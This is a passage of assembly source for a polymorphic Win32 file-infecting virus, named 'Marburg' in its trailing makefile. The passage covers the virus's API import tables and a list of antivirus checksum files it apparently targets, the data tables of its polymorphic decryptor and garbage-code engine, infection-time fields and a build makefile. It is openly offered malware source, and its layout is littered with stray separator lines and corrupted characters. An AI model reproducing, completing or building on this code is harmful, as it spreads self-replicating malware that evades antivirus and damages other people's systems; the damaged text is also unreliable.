dd offset szFindClose
|
|||
|
|
dd offset szVirtualAlloc
|
|||
|
|
dd offset szGetWinDir
|
|||
|
|
dd offset szGetSysDir
|
|||
|
|
dd offset szGetCurDir
|
|||
|
|
dd offset szSetFileAttr
|
|||
|
|
dd offset szSetFileTime
|
|||
|
|
dd offset szDeleteFile
|
|||
|
|
dd offset szGetCurProc
|
|||
|
|
dd offset szWriteProcMem
|
|||
|
|
dd offset szLoadLibrary
|
|||
|
|
dd offset szGetSysTime
|
|||
|
|
|
|||
|
|
viral_tbl_end equ this byte
|
|||
|
|
|
|||
|
|
;Names of modules used by the virus
|
|||
|
|
|
|||
|
|
szKernel32 db "KERNEL32.dll",00h
|
|||
|
|
szUSER32 db "USER32.dll",00h
|
|||
|
|
|
|||
|
|
;Kernel32 APIs used by the virus
|
|||
|
|
|
|||
|
|
szGetModuleH db "GetModuleHandleA",00h
|
|||
|
|
szGetProcAddr db "GetProcAddress",00h
|
|||
|
|
szCreateFileA db "CreateFileA",00h
|
|||
|
|
szCreateFileMap db "CreateFileMappingA",00h
|
|||
|
|
szMapViewOfFile db "MapViewOfFile",00h
|
|||
|
|
szUnmapView db "UnmapViewOfFile",00h
|
|||
|
|
szCloseHandle db "CloseHandle",00h
|
|||
|
|
szFindFirst db "FindFirstFileA",00h
|
|||
|
|
szFindNext db "FindNextFileA",00h
|
|||
|
|
szFindClose db "FindClose",00h
|
|||
|
|
szVirtualAlloc db "VirtualAlloc",00h
|
|||
|
|
szGetWinDir db "GetWindowsDirectoryA",00h
|
|||
|
|
szGetSysDir db "GetSystemDirectoryA",00h
|
|||
|
|
szGetCurDir db "GetCurrentDirectoryA",00h
|
|||
|
|
szSetFileAttr db "SetFileAttributesA",00h
|
|||
|
|
szSetFileTime db "SetFileTime",00h
|
|||
|
|
szDeleteFile db "DeleteFileA",00h
|
|||
|
|
szGetCurProc db "GetCurrentProcess",00h
|
|||
|
|
szWriteProcMem db "WriteProcessMemory",00h
|
|||
|
|
szLoadLibrary db "LoadLibraryA",00h
|
|||
|
|
szGetSysTime db "GetSystemTime",00h
|
|||
|
|
|
|||
|
|
;User32 APIs used by the virus
|
|||
|
|
|
|||
|
|
szGetDC db "GetDC",00h
|
|||
|
|
szLoadIcon db "LoadIconA",00h
|
|||
|
|
szDrawIcon db "DrawIcon",00h
|
|||
|
|
|
|||
|
|
;Names of AV checksum files
|
|||
|
|
|
|||
|
|
tbl_AV_files equ this byte
|
|||
|
|
|
|||
|
|
dd offset szAvData_00
|
|||
|
|
dd offset szAvData_01
|
|||
|
|
dd offset szAvData_02
|
|||
|
|
dd offset szAvData_03
|
|||
|
|
|
|||
|
|
end_AV_files equ this byte
|
|||
|
|
|
|||
|
|
szAvData_00 db "ANTI-VIR.DAT",00h
|
|||
|
|
szAvData_01 db "CHKLIST.MS",00h
|
|||
|
|
szAvData_02 db "AVP.CRC",00h
|
|||
|
|
szAvData_03 db "IVB.NTZ",00h
|
|||
|
|
|
|||
|
|
;Search mask for FindFirstFile and FindNextFile
|
|||
|
|
|
|||
|
|
szSearch db "*.*",00h
|
|||
|
|
|
|||
|
|
;Infection time
|
|||
|
|
|
|||
|
|
inf_time equ this byte
|
|||
|
|
|
|||
|
|
inf_year dw 0000h
|
|||
|
|
inf_month dw 0000h
|
|||
|
|
inf_dayofweek dw 0000h
|
|||
|
|
inf_day dw 0000h
|
|||
|
|
inf_hour dw 0000h
|
|||
|
|
inf_minute dw 0000h
|
|||
|
|
inf_second dw 0000h
|
|||
|
|
inf_millisec dw 0000h
|
|||
|
|
|
|||
|
|
;Number of bytes to restore at host entry-point
|
|||
|
|
|
|||
|
|
insert_size dd 00000000h
|
|||
|
|
|
|||
|
|
;Initialized data used by the polymorphic engine
|
|||
|
|
|
|||
|
|
;Register table
|
|||
|
|
;
|
|||
|
|
; - Register mask
|
|||
|
|
; - Register flags
|
|||
|
|
|
|||
|
|
tbl_regs equ this byte
|
|||
|
|
|
|||
|
|
db 00000000b,REG_READ_ONLY ;eax
|
|||
|
|
db 00000011b,00h ;ebx
|
|||
|
|
db 00000001b,00h ;ecx
|
|||
|
|
db 00000010b,00h ;edx
|
|||
|
|
db 00000110b,REG_NO_8BIT ;esi
|
|||
|
|
db 00000111b,REG_NO_8BIT ;edi
|
|||
|
|
db 00000101b,REG_NO_8BIT ;ebp
|
|||
|
|
|
|||
|
|
end_regs equ this byte
|
|||
|
|
|
|||
|
|
;Aliases for reg table structure
|
|||
|
|
|
|||
|
|
REG_MASK equ 00h
|
|||
|
|
REG_FLAGS equ 01h
|
|||
|
|
|
|||
|
|
;Bit aliases for reg flags
|
|||
|
|
|
|||
|
|
REG_IS_INDEX equ 01h
|
|||
|
|
REG_IS_COUNTER equ 02h
|
|||
|
|
REG_READ_ONLY equ 04h
|
|||
|
|
REG_NO_8BIT equ 08h
|
|||
|
|
|
|||
|
|
;Initial reg flags
|
|||
|
|
|
|||
|
|
tbl_startup equ this byte
|
|||
|
|
|
|||
|
|
db REG_READ_ONLY ;eax
|
|||
|
|
db 00h ;ebx
|
|||
|
|
db 00h ;ecx
|
|||
|
|
db 00h ;edx
|
|||
|
|
db REG_NO_8BIT ;esi
|
|||
|
|
db REG_NO_8BIT ;edi
|
|||
|
|
db REG_NO_8BIT ;ebp
|
|||
|
|
|
|||
|
|
;Code that does not disturb reg values
|
|||
|
|
|
|||
|
|
tbl_save_code equ this byte
|
|||
|
|
|
|||
|
|
clc
|
|||
|
|
stc
|
|||
|
|
cmc
|
|||
|
|
cld
|
|||
|
|
std
|
|||
|
|
|
|||
|
|
end_save_code equ this byte
|
|||
|
|
|
|||
|
|
;Generators for get_delta
|
|||
|
|
|
|||
|
|
tbl_delta_mode equ this byte
|
|||
|
|
|
|||
|
|
dd offset delta_method_1
|
|||
|
|
dd offset delta_method_2
|
|||
|
|
dd offset delta_method_3
|
|||
|
|
|
|||
|
|
end_delta_mode equ this byte
|
|||
|
|
|
|||
|
|
;Generators for [reg] indexing mode
|
|||
|
|
|
|||
|
|
tbl_idx_reg equ this byte
|
|||
|
|
|
|||
|
|
dd offset xx_inc_reg
|
|||
|
|
dd offset xx_dec_reg
|
|||
|
|
dd offset xx_not_reg
|
|||
|
|
dd offset xx_add_reg
|
|||
|
|
dd offset xx_sub_reg
|
|||
|
|
dd offset xx_xor_reg
|
|||
|
|
|
|||
|
|
;Generators for [reg+imm] indexing mode
|
|||
|
|
|
|||
|
|
tbl_dis_reg equ this byte
|
|||
|
|
|
|||
|
|
dd offset yy_inc_reg
|
|||
|
|
dd offset yy_dec_reg
|
|||
|
|
dd offset yy_not_reg
|
|||
|
|
dd offset yy_add_reg
|
|||
|
|
dd offset yy_sub_reg
|
|||
|
|
dd offset yy_xor_reg
|
|||
|
|
|
|||
|
|
;Generators for [reg+reg] indexing mode
|
|||
|
|
|
|||
|
|
tbl_xtended equ this byte
|
|||
|
|
|
|||
|
|
dd offset zz_inc_reg
|
|||
|
|
dd offset zz_dec_reg
|
|||
|
|
dd offset zz_not_reg
|
|||
|
|
dd offset zz_add_reg
|
|||
|
|
dd offset zz_sub_reg
|
|||
|
|
dd offset zz_xor_reg
|
|||
|
|
|
|||
|
|
;Generators for [reg+reg+imm] indexing mode
|
|||
|
|
|
|||
|
|
tbl_paranoia equ this byte
|
|||
|
|
|
|||
|
|
dd offset ii_inc_reg
|
|||
|
|
dd offset ii_dec_reg
|
|||
|
|
dd offset ii_not_reg
|
|||
|
|
dd offset ii_add_reg
|
|||
|
|
dd offset ii_sub_reg
|
|||
|
|
dd offset ii_xor_reg
|
|||
|
|
|
|||
|
|
;Opcodes for math reg,imm
|
|||
|
|
|
|||
|
|
tbl_math_imm equ this byte
|
|||
|
|
|
|||
|
|
db 0C0h ;add
|
|||
|
|
db 0C8h ;or
|
|||
|
|
db 0E0h ;and
|
|||
|
|
db 0E8h ;sub
|
|||
|
|
db 0F0h ;xor
|
|||
|
|
db 0D0h ;adc
|
|||
|
|
db 0D8h ;sbb
|
|||
|
|
|
|||
|
|
end_math_imm equ this byte
|
|||
|
|
|
|||
|
|
;Magic aliases
|
|||
|
|
|
|||
|
|
MAGIC_PUTKEY equ 01h
|
|||
|
|
MAGIC_PUTDISP equ 02h
|
|||
|
|
MAGIC_ENDSTR equ 0FFh
|
|||
|
|
MAGIC_ENDKEY equ 0FEh
|
|||
|
|
MAGIC_CAREEBP equ 00h
|
|||
|
|
MAGIC_NOTEBP equ 0FFh
|
|||
|
|
|
|||
|
|
;Magic data
|
|||
|
|
|
|||
|
|
xx_inc_reg db 0FEh
|
|||
|
|
db MAGIC_CAREEBP
|
|||
|
|
db 00h
|
|||
|
|
db 00h
|
|||
|
|
dd offset x_inc_reg_byte
|
|||
|
|
dd offset x_inc_reg_word
|
|||
|
|
dd offset x_inc_reg_dword
|
|||
|
|
|
|||
|
|
xx_dec_reg db 0FEh
|
|||
|
|
db MAGIC_CAREEBP
|
|||
|
|
db 08h
|
|||
|
|
db 00h
|
|||
|
|
dd offset x_dec_reg_byte
|
|||
|
|
dd offset x_dec_reg_word
|
|||
|
|
dd offset x_dec_reg_dword
|
|||
|
|
|
|||
|
|
xx_not_reg db 0F6h
|
|||
|
|
db MAGIC_CAREEBP
|
|||
|
|
db 10h
|
|||
|
|
db 00h
|
|||
|
|
dd offset x_not_reg_byte
|
|||
|
|
dd offset x_not_reg_word
|
|||
|
|
dd offset x_not_reg_dword
|
|||
|
|
|
|||
|
|
xx_add_reg db 80h
|
|||
|
|
db MAGIC_CAREEBP
|
|||
|
|
db 00h
|
|||
|
|
db MAGIC_PUTKEY
|
|||
|
|
dd offset x_add_reg_byte
|
|||
|
|
dd offset x_add_reg_word
|
|||
|
|
dd offset x_add_reg_dword
|
|||
|
|
|
|||
|
|
xx_sub_reg db 80h
|
|||
|
|
db MAGIC_CAREEBP
|
|||
|
|
db 28h
|
|||
|
|
db MAGIC_PUTKEY
|
|||
|
|
dd offset x_sub_reg_byte
|
|||
|
|
dd offset x_sub_reg_word
|
|||
|
|
dd offset x_sub_reg_dword
|
|||
|
|
|
|||
|
|
xx_xor_reg db 80h
|
|||
|
|
db MAGIC_CAREEBP
|
|||
|
|
db 30h
|
|||
|
|
db MAGIC_PUTKEY
|
|||
|
|
dd offset x_xor_reg_byte
|
|||
|
|
dd offset x_xor_reg_word
|
|||
|
|
dd offset x_xor_reg_dword
|
|||
|
|
|
|||
|
|
yy_inc_reg db 0FEh
|
|||
|
|
db MAGIC_NOTEBP
|
|||
|
|
db 80h
|
|||
|
|
db MAGIC_PUTDISP
|
|||
|
|
dd offset x_inc_reg_byte
|
|||
|
|
dd offset x_inc_reg_word
|
|||
|
|
dd offset x_inc_reg_dword
|
|||
|
|
|
|||
|
|
yy_dec_reg db 0FEh
|
|||
|
|
db MAGIC_NOTEBP
|
|||
|
|
db 88h
|
|||
|
|
db MAGIC_PUTDISP
|
|||
|
|
dd offset x_dec_reg_byte
|
|||
|
|
dd offset x_dec_reg_word
|
|||
|
|
dd offset x_dec_reg_dword
|
|||
|
|
|
|||
|
|
yy_not_reg db 0F6h
|
|||
|
|
db MAGIC_NOTEBP
|
|||
|
|
db 90h
|
|||
|
|
db MAGIC_PUTDISP
|
|||
|
|
dd offset x_not_reg_byte
|
|||
|
|
dd offset x_not_reg_word
|
|||
|
|
dd offset x_not_reg_dword
|
|||
|
|
|
|||
|
|
yy_add_reg db 80h
|
|||
|
|
db MAGIC_NOTEBP
|
|||
|
|
db 80h
|
|||
|
|
db MAGIC_PUTKEY or MAGIC_PUTDISP
|
|||
|
|
dd offset x_add_reg_byte
|
|||
|
|
dd offset x_add_reg_word
|
|||
|
|
dd offset x_add_reg_dword
|
|||
|
|
|
|||
|
|
yy_sub_reg db 80h
|
|||
|
|
db MAGIC_NOTEBP
|
|||
|
|
db 0A8h
|
|||
|
|
db MAGIC_PUTKEY or MAGIC_PUTDISP
|
|||
|
|
dd offset x_sub_reg_byte
|
|||
|
|
dd offset x_sub_reg_word
|
|||
|
|
dd offset x_sub_reg_dword
|
|||
|
|
|
|||
|
|
yy_xor_reg db 80h
|
|||
|
|
db MAGIC_NOTEBP
|
|||
|
|
db 0B0h
|
|||
|
|
db MAGIC_PUTKEY or MAGIC_PUTDISP
|
|||
|
|
dd offset x_xor_reg_byte
|
|||
|
|
dd offset x_xor_reg_word
|
|||
|
|
dd offset x_xor_reg_dword
|
|||
|
|
|
|||
|
|
zz_inc_reg db 0FEh
|
|||
|
|
db MAGIC_CAREEBP
|
|||
|
|
db 04h
|
|||
|
|
db 00h
|
|||
|
|
dd offset x_inc_reg_byte
|
|||
|
|
dd offset x_inc_reg_word
|
|||
|
|
dd offset x_inc_reg_dword
|
|||
|
|
|
|||
|
|
zz_dec_reg db 0FEh
|
|||
|
|
db MAGIC_CAREEBP
|
|||
|
|
db 0Ch
|
|||
|
|
db 00h
|
|||
|
|
dd offset x_dec_reg_byte
|
|||
|
|
dd offset x_dec_reg_word
|
|||
|
|
dd offset x_dec_reg_dword
|
|||
|
|
|
|||
|
|
zz_not_reg db 0F6h
|
|||
|
|
db MAGIC_CAREEBP
|
|||
|
|
db 14h
|
|||
|
|
db 00h
|
|||
|
|
dd offset x_not_reg_byte
|
|||
|
|
dd offset x_not_reg_word
|
|||
|
|
dd offset x_not_reg_dword
|
|||
|
|
|
|||
|
|
zz_add_reg db 80h
|
|||
|
|
db MAGIC_CAREEBP
|
|||
|
|
db 04h
|
|||
|
|
db MAGIC_PUTKEY
|
|||
|
|
dd offset x_add_reg_byte
|
|||
|
|
dd offset x_add_reg_word
|
|||
|
|
dd offset x_add_reg_dword
|
|||
|
|
|
|||
|
|
zz_sub_reg db 80h
|
|||
|
|
db MAGIC_CAREEBP
|
|||
|
|
db 2Ch
|
|||
|
|
db MAGIC_PUTKEY
|
|||
|
|
dd offset x_sub_reg_byte
|
|||
|
|
dd offset x_sub_reg_word
|
|||
|
|
dd offset x_sub_reg_dword
|
|||
|
|
|
|||
|
|
zz_xor_reg db 80h
|
|||
|
|
db MAGIC_CAREEBP
|
|||
|
|
db 34h
|
|||
|
|
db MAGIC_PUTKEY
|
|||
|
|
dd offset x_xor_reg_byte
|
|||
|
|
dd offset x_xor_reg_word
|
|||
|
|
dd offset x_xor_reg_dword
|
|||
|
|
|
|||
|
|
ii_inc_reg db 0FEh
|
|||
|
|
db MAGIC_NOTEBP
|
|||
|
|
db 84h
|
|||
|
|
db MAGIC_PUTDISP
|
|||
|
|
dd offset x_inc_reg_byte
|
|||
|
|
dd offset x_inc_reg_word
|
|||
|
|
dd offset x_inc_reg_dword
|
|||
|
|
|
|||
|
|
ii_dec_reg db 0FEh
|
|||
|
|
db MAGIC_NOTEBP
|
|||
|
|
db 8Ch
|
|||
|
|
db MAGIC_PUTDISP
|
|||
|
|
dd offset x_dec_reg_byte
|
|||
|
|
dd offset x_dec_reg_word
|
|||
|
|
dd offset x_dec_reg_dword
|
|||
|
|
|
|||
|
|
ii_not_reg db 0F6h
|
|||
|
|
db MAGIC_NOTEBP
|
|||
|
|
db 94h
|
|||
|
|
db MAGIC_PUTDISP
|
|||
|
|
dd offset x_not_reg_byte
|
|||
|
|
dd offset x_not_reg_word
|
|||
|
|
dd offset x_not_reg_dword
|
|||
|
|
|
|||
|
|
ii_add_reg db 80h
|
|||
|
|
db MAGIC_NOTEBP
|
|||
|
|
db 84h
|
|||
|
|
db MAGIC_PUTKEY or MAGIC_PUTDISP
|
|||
|
|
dd offset x_add_reg_byte
|
|||
|
|
dd offset x_add_reg_word
|
|||
|
|
dd offset x_add_reg_dword
|
|||
|
|
|
|||
|
|
ii_sub_reg db 80h
|
|||
|
|
db MAGIC_NOTEBP
|
|||
|
|
db 0ACh
|
|||
|
|
db MAGIC_PUTKEY or MAGIC_PUTDISP
|
|||
|
|
dd offset x_sub_reg_byte
|
|||
|
|
dd offset x_sub_reg_word
|
|||
|
|
dd offset x_sub_reg_dword
|
|||
|
|
|
|||
|
|
ii_xor_reg db 80h
|
|||
|
|
db MAGIC_NOTEBP
|
|||
|
|
db 0B4h
|
|||
|
|
db MAGIC_PUTKEY or MAGIC_PUTDISP
|
|||
|
|
dd offset x_xor_reg_byte
|
|||
|
|
dd offset x_xor_reg_word
|
|||
|
|
dd offset x_xor_reg_dword
|
|||
|
|
|
|||
|
|
;Reverse-code strings
|
|||
|
|
|
|||
|
|
x_inc_reg_byte db 02h,0FEh,0C8h,MAGIC_ENDSTR
|
|||
|
|
x_inc_reg_word db 02h,66h,48h,MAGIC_ENDSTR
|
|||
|
|
x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR
|
|||
|
|
x_dec_reg_byte db 02h,0FEh,0C0h,MAGIC_ENDSTR
|
|||
|
|
x_dec_reg_word db 02h,66h,40h,MAGIC_ENDSTR
|
|||
|
|
x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR
|
|||
|
|
x_not_reg_byte db 02h,0F6h,0D0h,MAGIC_ENDSTR
|
|||
|
|
x_not_reg_word db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR
|
|||
|
|
x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR
|
|||
|
|
x_add_reg_byte db 01h,2Ch,MAGIC_ENDKEY
|
|||
|
|
x_add_reg_word db 02h,66h,2Dh,MAGIC_ENDKEY
|
|||
|
|
x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY
|
|||
|
|
x_sub_reg_byte db 01h,04h,MAGIC_ENDKEY
|
|||
|
|
x_sub_reg_word db 02h,66h,05h,MAGIC_ENDKEY
|
|||
|
|
x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY
|
|||
|
|
x_xor_reg_byte db 01h,34h,MAGIC_ENDKEY
|
|||
|
|
x_xor_reg_word db 02h,66h,35h,MAGIC_ENDKEY
|
|||
|
|
x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY
|
|||
|
|
|
|||
|
|
;Decryptor styles
|
|||
|
|
|
|||
|
|
tbl_styles equ this byte
|
|||
|
|
|
|||
|
|
dd offset style_gen_1
|
|||
|
|
dd offset style_gen_2
|
|||
|
|
dd offset style_gen_3
|
|||
|
|
dd offset style_gen_4
|
|||
|
|
dd offset style_gen_5
|
|||
|
|
dd offset style_gen_6
|
|||
|
|
|
|||
|
|
end_styles equ this byte
|
|||
|
|
|
|||
|
|
style_gen_1 dd offset gen_get_delta
|
|||
|
|
dd offset gen_fix_ptr
|
|||
|
|
dd offset gen_load_ctr
|
|||
|
|
dd offset gen_decrypt
|
|||
|
|
dd offset gen_next_step
|
|||
|
|
dd offset gen_next_ctr
|
|||
|
|
dd offset gen_loop
|
|||
|
|
|
|||
|
|
style_gen_2 dd offset gen_get_delta
|
|||
|
|
dd offset gen_load_ctr
|
|||
|
|
dd offset gen_fix_ptr
|
|||
|
|
dd offset gen_decrypt
|
|||
|
|
dd offset gen_next_step
|
|||
|
|
dd offset gen_next_ctr
|
|||
|
|
dd offset gen_loop
|
|||
|
|
|
|||
|
|
style_gen_3 dd offset gen_load_ctr
|
|||
|
|
dd offset gen_get_delta
|
|||
|
|
dd offset gen_fix_ptr
|
|||
|
|
dd offset gen_decrypt
|
|||
|
|
dd offset gen_next_step
|
|||
|
|
dd offset gen_next_ctr
|
|||
|
|
dd offset gen_loop
|
|||
|
|
|
|||
|
|
style_gen_4 dd offset gen_get_delta
|
|||
|
|
dd offset gen_fix_ptr
|
|||
|
|
dd offset gen_load_ctr
|
|||
|
|
dd offset gen_decrypt
|
|||
|
|
dd offset gen_next_ctr
|
|||
|
|
dd offset gen_next_step
|
|||
|
|
dd offset gen_loop
|
|||
|
|
|
|||
|
|
style_gen_5 dd offset gen_get_delta
|
|||
|
|
dd offset gen_load_ctr
|
|||
|
|
dd offset gen_fix_ptr
|
|||
|
|
dd offset gen_decrypt
|
|||
|
|
dd offset gen_next_ctr
|
|||
|
|
dd offset gen_next_step
|
|||
|
|
dd offset gen_loop
|
|||
|
|
|
|||
|
|
style_gen_6 dd offset gen_load_ctr
|
|||
|
|
dd offset gen_get_delta
|
|||
|
|
dd offset gen_fix_ptr
|
|||
|
|
dd offset gen_decrypt
|
|||
|
|
dd offset gen_next_ctr
|
|||
|
|
dd offset gen_next_step
|
|||
|
|
dd offset gen_loop
|
|||
|
|
|
|||
|
|
;Garbage code generators
|
|||
|
|
|
|||
|
|
tbl_garbage equ this byte
|
|||
|
|
|
|||
|
|
dd offset gen_save_code ;clc stc cmc cld std
|
|||
|
|
dd offset g_movreg32imm ;mov reg32,imm
|
|||
|
|
dd offset g_movreg16imm ;mov reg16,imm
|
|||
|
|
dd offset g_movreg8imm ;mov reg8,imm
|
|||
|
|
dd offset g_movregreg32 ;mov reg32,reg32
|
|||
|
|
dd offset g_movregreg16 ;mov reg16,reg16
|
|||
|
|
dd offset g_movregreg8 ;mov reg8,reg8
|
|||
|
|
dd offset g_mathregimm32 ;math reg32,imm
|
|||
|
|
dd offset g_mathregimm16 ;math reg16,imm
|
|||
|
|
dd offset g_mathregimm8 ;math reg8,imm
|
|||
|
|
dd offset g_push_g_pop ;push reg/garbage/pop reg
|
|||
|
|
dd offset g_jump_u ;jump/rnd block
|
|||
|
|
dd offset g_jump_c ;jump conditional/garbage
|
|||
|
|
dd offset g_movzx_movsx ;movzx/movsx reg32,reg16
|
|||
|
|
|
|||
|
|
end_garbage equ this byte
|
|||
|
|
|
|||
|
|
;Original code at host entry point
|
|||
|
|
|
|||
|
|
entry_code db BUFFER_EP dup (00h)
|
|||
|
|
|
|||
|
|
;Polymorphic procedures works with byte/word/dword
|
|||
|
|
;We let here a dword to avoid buffer overwrites
|
|||
|
|
|
|||
|
|
safety_01 dd 00000000h
|
|||
|
|
|
|||
|
|
;Polymorphic decryptor buffer
|
|||
|
|
|
|||
|
|
poly_decryptor db DECRYPTOR_SIZE dup (00h)
|
|||
|
|
|
|||
|
|
inf_end equ this byte
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
;Virus uninitialized data
|
|||
|
|
|
|||
|
|
a_Kernel32 dd 00000000h
|
|||
|
|
a_User32 dd 00000000h
|
|||
|
|
a_GetModuleH dd 00000000h
|
|||
|
|
a_GetProcAddr dd 00000000h
|
|||
|
|
|
|||
|
|
;API entry point for each viral function
|
|||
|
|
|
|||
|
|
viral_addresses equ this byte
|
|||
|
|
|
|||
|
|
a_CreateFile dd 00000000h
|
|||
|
|
a_CreateFileMap dd 00000000h
|
|||
|
|
a_MapViewOfFile dd 00000000h
|
|||
|
|
a_UnmapView dd 00000000h
|
|||
|
|
a_CloseHandle dd 00000000h
|
|||
|
|
a_FindFirst dd 00000000h
|
|||
|
|
a_FindNext dd 00000000h
|
|||
|
|
a_FindClose dd 00000000h
|
|||
|
|
a_VirtualAlloc dd 00000000h
|
|||
|
|
a_GetWindowsDir dd 00000000h
|
|||
|
|
a_GetSystemDir dd 00000000h
|
|||
|
|
a_GetCurDir dd 00000000h
|
|||
|
|
a_SetFileAttr dd 00000000h
|
|||
|
|
a_SetFileTime dd 00000000h
|
|||
|
|
a_DeleteFile dd 00000000h
|
|||
|
|
a_GetCurProc dd 00000000h
|
|||
|
|
a_WriteProcMem dd 00000000h
|
|||
|
|
a_LoadLibrary dd 00000000h
|
|||
|
|
a_GetSysTime dd 00000000h
|
|||
|
|
|
|||
|
|
;Misc variables
|
|||
|
|
|
|||
|
|
CreateFile_h dd 00000000h
|
|||
|
|
Mapping_h dd 00000000h
|
|||
|
|
Search_h dd 00000000h
|
|||
|
|
File_Attr dd 00000000h
|
|||
|
|
search_raw dd 00000000h
|
|||
|
|
original_size dd 00000000h
|
|||
|
|
h_icon dd 00000000h
|
|||
|
|
dc_screen dd 00000000h
|
|||
|
|
|
|||
|
|
;Data used by the polymorphic engine
|
|||
|
|
|
|||
|
|
rnd32_seed dd 00000000h ;Seed for random number generator
|
|||
|
|
ptr_disp dd 00000000h ;Displacement from index
|
|||
|
|
end_value dd 00000000h ;Index end value
|
|||
|
|
delta_call dd 00000000h ;Used into delta_offset routines
|
|||
|
|
loop_point dd 00000000h ;Start address of decryption loop
|
|||
|
|
crypt_key dd 00000000h ;Encryption key
|
|||
|
|
oper_size db 00h ;Size used (1=Byte 2=Word 4=Dword)
|
|||
|
|
index_mask db 00h ;Mask of register used as index
|
|||
|
|
counter_mask db 00h ;Mask of register used as counter
|
|||
|
|
build_flags db 00h ;Some decryptor flags
|
|||
|
|
recursive_level db 00h ;Garbage recursive layer
|
|||
|
|
|
|||
|
|
;Decryptor flags aliases
|
|||
|
|
|
|||
|
|
CRYPT_DIRECTION equ 01h
|
|||
|
|
CRYPT_CMPCTR equ 02h
|
|||
|
|
CRYPT_CDIR equ 04h
|
|||
|
|
CRYPT_SIMPLEX equ 10h
|
|||
|
|
CRYPT_COMPLEX equ 20h
|
|||
|
|
|
|||
|
|
;Buffer to convert file time to system time
|
|||
|
|
|
|||
|
|
my_system_time equ this byte
|
|||
|
|
|
|||
|
|
time_year dw 0000h
|
|||
|
|
time_month dw 0000h
|
|||
|
|
time_dayofweek dw 0000h
|
|||
|
|
time_day dw 0000h
|
|||
|
|
time_hour dw 0000h
|
|||
|
|
time_minute dw 0000h
|
|||
|
|
time_seconds dw 0000h
|
|||
|
|
time_milisec dw 0000h
|
|||
|
|
|
|||
|
|
;Buffer for \WINDOWS and \SYSTEM directories
|
|||
|
|
|
|||
|
|
szWorkDir db MAX_PATH dup (00h)
|
|||
|
|
|
|||
|
|
;Data about found files
|
|||
|
|
|
|||
|
|
my_FindData db SIZEOF_WIN32_FIND_DATA dup (00h)
|
|||
|
|
|
|||
|
|
;This will be the place for the virus copy
|
|||
|
|
|
|||
|
|
mem_end equ this byte
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
virseg ends
|
|||
|
|
|
|||
|
|
end host_entry
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
-------->8 cut here ---------------------------------------------------------
|
|||
|
|
|
|||
|
|
# Marburg makefile
|
|||
|
|
|
|||
|
|
# make -B Will build wap32.exe
|
|||
|
|
# make -B -DDEBUG Will build the debug version of wap32.exe
|
|||
|
|
|
|||
|
|
NAME = WAP32
|
|||
|
|
OBJS = $(NAME).obj
|
|||
|
|
ASMS = $(NAME).asm
|
|||
|
|
|
|||
|
|
!if $d(DEBUG)
|
|||
|
|
TASMPARAM= /ml /m5 /la /zi
|
|||
|
|
TLINKPARAM= -Tpe -c -s -v -ap
|
|||
|
|
!else
|
|||
|
|
TASMPARAM= /ml /m5 /q /zn
|
|||
|
|
TLINKPARAM= -Tpe -c -x -ap
|
|||
|
|
!endif
|
|||
|
|
|
|||
|
|
